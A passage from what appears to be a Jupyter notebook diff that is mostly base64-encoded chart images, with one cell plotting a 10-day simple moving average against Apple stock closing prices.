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\n"
+     },
+     "metadata": {
+      "needs_background": "light"
+     }
+    }
+   ],
+   "source": [
+    "plt.plot(stocks[\"close_10_sma\"], color=\"b\", label=\"SMA\")\n",
+    "plt.plot(df_aapl.Close, color=\"g\", label=\"Close prices\")\n",
+    "plt.legend(loc=\"lower right\")\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 12,
+   "metadata": {},
+   "outputs": [
+    {
+     "output_type": "display_data",
+     "data": {
+      "text/plain": "",
+      "image/svg+xml": "\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n            \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n          \r\n      \r\n     \r\n    \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n      \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n         \r\n     \r\n      \r\n      \r\n      \r\n         \r\n     \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n       \r\n     \r\n      \r\n      \r\n      \r\n         \r\n     \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n                \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n                  \r\n     \r\n    \r\n   \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n    \r\n",
+      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAX0AAAD8CAYAAACb4nSYAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4zLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvIxREBQAAIABJREFUeJzs3Xdc1dX/wPHXYYMsERQFVHAgmhv3SNNSK8scucWRNrSyXO2sX36tTHNmOXJlmjPNjampoCLugQqKAoKy9+ae3x8XriCoiCzlPB+PHl3O53zOfV/UN4fzOUNIKVEURVEqBr2yDkBRFEUpPSrpK4qiVCAq6SuKolQgKukriqJUICrpK4qiVCAq6SuKolQgKukriqJUICrpK4qiVCAq6SuKolQgBmUdAICtra2sXbt2WYehKIryVDl16lSklNLuce4pF0m/du3a+Pr6lnUYiqIoTxUhxK3HvUcN7yiKolQgKukriqJUICrpK4qiVCAq6SuKolQgKukriqJUICrpK4qiVCAq6SuKolQgKukriqKUkW//+5YDgQdK9T1V0lcURXmE2NRYvjv8HfFp8cXWZmRyJNMPTccryKvY2iwMlfQVRVEeYW/AXr48+CVNf21KamZqsbT5741/kUherPNisbRXWCrpK4qiPEJsaiwAN2Nvsst/V77rN2NvMtt7NlLKQrfpecMTK2Mr3Gu4F1uchaGSvqIoyiPEpMboXt+Kzb/dzUKfhUz2nMzliMuFak9KiecNT7q5dMNAr3S3QFNJX1EU5RFiUmIw1jfGxMCE2wm3810/FnIMoNAPZa9FXSMoLogXXUp3aAdU0lcURXmk6JRoKptWxtHSkZD4kDzX0jLT8A3V7hJ84Gbhkr7nDU+A8pn0hRBOQoiDQgg/IcQlIcSH2eWzhBBXhBDnhRBbhRDWue75VAgRIIS4KoToUZIfQFEUpaTFpMZgY2qDg4VDvp7+mTtnSM9Kx97cnv9u/keWJivf/WEJYfjc9tF97XnDE2drZ+rY1Cnx2O9XmJ5+JjBJSukGtAXGCyEaAp7Ac1LKJsA14FOA7GuDgEZAT+AXIYR+SQSvKIpSGmJSY6hsUhkHSwdux+dN+t7B3gBMajeJmNSYAsf1vz70NZ1XdCYyOZKMrAwOBh7kpTovlUrs93tk0pdShkkpT2e/TgD8AAcp5T4pZWZ2teOAY/br14H1Uso0KWUgEAC0Lv7QFUVRSkdMSox2eMfCkdsJt3WzdFIzU1nos5Bm9s3o5twNgKtRV5ESzpyBL76A55+HrYevkpaVxvLTyzlx+wQJ6Qk0s3iRhQs1HD5c+Bk/xeGxHhsLIWoDzYET910aDfyV/doB7Q+BHCHZZYqiKE+l6JRonqv6HA6WDqRnpROZHImtmS3fHPqGwNhA9g/fT12bugAs/DOAqX9CYCDo60PLlhBFAAD/81yMW0YCGOnxbk8nSO3KSy+NpHPnUaX2WQr9IFcIYQ5sBiZKKeNzlX+OdghobU5RAbfn+1EmhBgnhPAVQvhGREQ8XtSKoiilKPeYPsCNmBuM/Wcs33t9z8hmI+nm0g2RYYFhWjX+u+iPqyssWwZ37sChoylI81CsU5sTr3eLE8zDOLIGBpmdsbQ8z4gRxqX6WQrV0xdCGKJN+GullFtylXsArwLd5L1VCSGAU67bHYHQ+9uUUi4BlgC4u7uX7u83iqIohZSpySQ+LZ7KJtrZOwBv/PUGYYlhfNHpC77p+g2gHcrJiK9Dg/b+7J567/5L4TcA6KjvgGfqZdJMEkm7nMiANwYwf/587O3tS/XzPDLpCyEEsBzwk1LOyVXeE5gGPC+lTM51y3bgTyHEHKAGUA/wQVEU5SmUsxo3Z8omaHv+6/q